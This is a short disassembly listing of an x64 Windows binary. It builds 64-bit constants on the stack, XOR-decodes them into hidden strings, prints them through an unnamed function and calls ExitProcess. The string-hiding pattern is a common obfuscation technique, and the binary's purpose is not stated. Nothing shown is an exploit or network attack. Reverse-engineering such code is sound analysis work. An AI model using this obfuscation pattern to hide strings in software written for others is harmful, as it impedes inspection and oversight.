movabs rax, 0xbeb1246ab6eb4115
mov qword [rbp + 8], rax
movabs rax, 0x87f6f62f76cad0a
mov qword [rbp + 0x10], rax
movabs rax, 0x9183c3d78480e1b0
mov qword [rbp + 0x18], rax
movabs rax, 0x5a5e7183e50eae14
mov qword [rbp + 0x20], rax
movabs rax, 0xfcb6f365366ef348
mov qword [rbp + 0x28], rax
movabs rax, 0xc24179cffcd6bb23
mov qword [rbp + 0x30], rax
movabs rax, 0x702373dbb9c69134
mov qword [rbp + 0x38], rax
movabs rax, 0xdbb0072077c5b3a1
mov qword [rbp + 0x40], rax
movabs rax, 0x630a5b328fabcdb2
mov qword [rbp + 0x48], rax
movabs rax, 0xf27f099a54540915
mov qword [rbp + 0x50], rax
movabs rax, 0x7b475564640fed16
mov qword [rbp + 0x58], rax
movabs rcx, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x60], rcx
movabs r12, 0xa61c63323e14a220
mov qword [rbp + 0x68], r12
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], rsi
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
movabs r14, 0x2e2a19a3df6acf7b
mov qword [rbp + 0xe0], r14
movabs rsi, 0x8bc1844a19548038
mov qword [rbp + 0xe8], rsi
movabs rax, 0xad3216bd9fbfd60d
mov qword [rbp + 0xf0], rax
movabs rax, 0x150c1eb4dae8e552
mov qword [rbp + 0xf8], rax
movabs rax, 0xacdf630f04b09ecf
mov qword [rbp + 0x100], rax
movabs rax, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rax
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], rcx
mov qword [rbp + 0x128], r12
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x30612c2660748c75
mov qword [rbp - 0x50], rax
movabs rax, 0x1a919bd88f0e4e9e
mov qword [rbp - 0x48], rax
movabs rax, 0x2070bb892e74a62b
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rbx
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1c8], rbx
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rcx, [0x1400779f0]
call fcn.14002bca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call fcn.14003b834
int3